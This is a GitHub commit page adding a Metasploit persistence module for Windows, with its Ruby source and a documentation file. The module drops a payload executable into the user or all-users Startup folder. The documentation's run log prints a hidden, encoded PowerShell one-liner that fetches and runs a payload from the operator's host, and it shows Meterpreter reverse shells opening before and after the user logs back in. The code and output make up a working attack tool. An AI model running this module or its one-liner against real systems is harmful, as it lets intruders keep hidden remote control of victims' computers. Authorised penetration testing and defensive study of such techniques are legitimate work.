Skip to content

Commit 56480df

Browse files
authored
Land #20662, adds windows startup folder persistence module
windows persistence: startup folder
2 parents 8dd2724 + 85fa7e0 commit 56480df

File tree

2 files changed

+210
-0
lines changed

2 files changed

+210
-0
lines changed
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
## Vulnerable Application
2+
3+
This module establishes persistence by creating a payload in the user or system startup folder.
4+
Works on Vista and newer systems.
5+
6+
## Verification Steps
7+
Example steps in this format (is also in the PR):
8+
9+
1. get session on target with admin/system privs
10+
2. `use exploit/windows/persistence/startup_folder`
11+
3. `set payload <payload>`
12+
4. `set lport <lport>`
13+
5. `set lhost <lhost>`
14+
6. `exploit`
15+
16+
## Options
17+
18+
### PAYLOAD_NAME
19+
20+
Name of payload file to write. Random string as default.
21+
22+
### CONTEXT
23+
24+
Target current User or All Users (system). Defaults to `USER`. Choices are
25+
`USER` which installs just to that user's startup folder. `SYSTEM` installs
26+
to the system default startup folder which effects all users.
27+
28+
## Scenarios
29+
30+
### Windows 10 1909 (10.0 Build 18363)
31+
32+
Initial Payload
33+
34+
```
35+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
36+
verbose => true
37+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
38+
lhost => 1.1.1.1
39+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
40+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
41+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
42+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
43+
resource (/root/.msf4/msfconsole.rc)> set target 2
44+
target => 2
45+
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
46+
srvport => 8085
47+
resource (/root/.msf4/msfconsole.rc)> set uripath w2
48+
uripath => w2
49+
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
50+
payload => windows/x64/meterpreter/reverse_tcp
51+
resource (/root/.msf4/msfconsole.rc)> set lport 4449
52+
lport => 4449
53+
resource (/root/.msf4/msfconsole.rc)> run
54+
[*] Exploit running as background job 0.
55+
[*] Exploit completed, but no session was created.
56+
[*] Started reverse TCP handler on 1.1.1.1:4449
57+
[*] Using URL: http://1.1.1.1:8085/w2
58+
[*] Server started.
59+
[*] Run the following command on the target machine:
60+
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABzAFIANAA0AEsAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAcwBSADQANABLAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAcwBSADQANABLAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwAyADAAdAB3AGYAZQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
61+
msf exploit(multi/script/web_delivery) >
62+
[*] 2.2.2.2 web_delivery - Powershell command length: 3682
63+
[*] 2.2.2.2 web_delivery - Delivering Payload (3682 bytes)
64+
[*] Sending stage (230982 bytes) to 2.2.2.2
65+
[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:50883) at 2025-10-27 15:10:44 -0400
66+
67+
msf exploit(multi/script/web_delivery) > sessions -i 1
68+
[*] Starting interaction with 1...
69+
70+
meterpreter > sysinfo
71+
Computer : WIN10PROLICENSE
72+
OS : Windows 10 1909 (10.0 Build 18363).
73+
Architecture : x64
74+
System Language : en_US
75+
Domain : WORKGROUP
76+
Logged On Users : 2
77+
Meterpreter : x64/windows
78+
meterpreter > getuid
79+
Server username: WIN10PROLICENSE\windows
80+
meterpreter > background
81+
[*] Backgrounding session 1...
82+
```
83+
84+
Persistence
85+
86+
```
87+
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/startup_folder
88+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
89+
msf exploit(windows/persistence/startup_folder) > set session 1
90+
session => 1
91+
msf exploit(windows/persistence/startup_folder) > set payload windows/meterpreter/reverse_tcp
92+
payload => windows/meterpreter/reverse_tcp
93+
msf exploit(windows/persistence/startup_folder) > recheck
94+
[*] Reloading module...
95+
[*] The target appears to be vulnerable. Likely exploitable, able to write test file to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
96+
msf exploit(windows/persistence/startup_folder) > exploit
97+
[*] Exploit running as background job 1.
98+
[*] Exploit completed, but no session was created.
99+
msf exploit(windows/persistence/startup_folder) >
100+
[*] Started reverse TCP handler on 1.1.1.1:4444
101+
[*] Running automatic check ("set AutoCheck false" to disable)
102+
[+] The target appears to be vulnerable. Likely exploitable, able to write test file to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
103+
[+] Writing payload to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zugyndszf.exe
104+
[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Zugyndszf.exe
105+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251027.1534/WIN10PROLICENSE_20251027.1534.rc
106+
```
107+
108+
Logout and back in as user 'windows'
109+
110+
```
111+
msf exploit(windows/persistence/startup_folder) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died
112+
113+
[*] Sending stage (188998 bytes) to 2.2.2.2
114+
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:50916) at 2025-10-27 15:16:21 -0400
115+
msf exploit(windows/persistence/startup_folder) > sessions -i 2
116+
[*] Starting interaction with 2...
117+
118+
meterpreter > getuid
119+
Server username: WIN10PROLICENSE\windows
120+
```
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::Local::Persistence
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Windows Persistent Startup Folder',
19+
'Description' => %q{
20+
This module establishes persistence by creating a payload in the user or system startup folder.
21+
Works on Vista and newer systems.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'h00die' ],
25+
'Platform' => [ 'win' ],
26+
'SessionTypes' => [ 'meterpreter', 'shell' ],
27+
'Targets' => [
28+
[ 'Automatic', {} ]
29+
],
30+
'DefaultTarget' => 0,
31+
'References' => [
32+
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
33+
['URL', 'https://support.microsoft.com/en-us/windows/configure-startup-applications-in-windows-115a420a-0bff-4a6f-90e0-1934c844e473']
34+
],
35+
'DisclosureDate' => '1995-01-01', # windows 95
36+
'Notes' => {
37+
'Stability' => [CRASH_SAFE],
38+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
39+
'SideEffects' => [ARTIFACTS_ON_DISK]
40+
}
41+
)
42+
)
43+
44+
register_options(
45+
[
46+
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
47+
OptEnum.new('CONTEXT', [false, 'Target current User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ])
48+
]
49+
)
50+
end
51+
52+
def folder
53+
if datastore['CONTEXT'] == 'USER'
54+
f = session.sys.config.getenv('%userprofile%')
55+
f = "#{f}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
56+
return f
57+
end
58+
f = session.sys.config.getenv('%ProgramData%')
59+
"#{f}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
60+
end
61+
62+
def check
63+
f = folder
64+
begin
65+
# windows only ps payloads have writable? so try that first
66+
return CheckCode::Safe("Unable to write to #{f}") unless writable?(f)
67+
rescue RuntimeError
68+
filename = f + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
69+
write_file(filename, '')
70+
if exists? filename
71+
rm_f(filename)
72+
return CheckCode::Appears("Likely exploitable, able to write test file to #{f}")
73+
else
74+
return CheckCode::Safe("Unable to write to #{f}")
75+
end
76+
end
77+
78+
CheckCode::Appears('Likely exploitable')
79+
end
80+
81+
def install_persistence
82+
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
83+
payload_exe = generate_payload_exe
84+
payload_pathname = folder + '\\' + payload_name + '.exe'
85+
vprint_good("Writing payload to #{payload_pathname}")
86+
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
87+
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
88+
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
89+
end
90+
end

0 commit comments

Comments
 (0)